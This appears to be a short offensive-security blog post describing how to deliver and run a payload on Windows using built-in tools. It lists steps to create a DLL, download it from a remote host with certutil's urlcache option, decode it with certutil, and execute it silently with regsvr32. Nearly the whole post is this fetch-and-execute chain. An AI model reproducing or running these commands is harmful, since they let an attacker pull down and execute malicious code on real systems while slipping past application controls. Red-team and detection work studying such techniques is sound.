Certutil for delivery of files

Quick post putting together some twitter awesomeness


Let's do it

1. Create your DLL
2. Base64encode it (optional)
3. Use certutil.exe -urlcache -split -f http://example/file.txt file.blah to pull it down

4. Base64decode the file with certutil

5. Execute the dll with regsvr32 regsvr32 /s /u mydll.dll
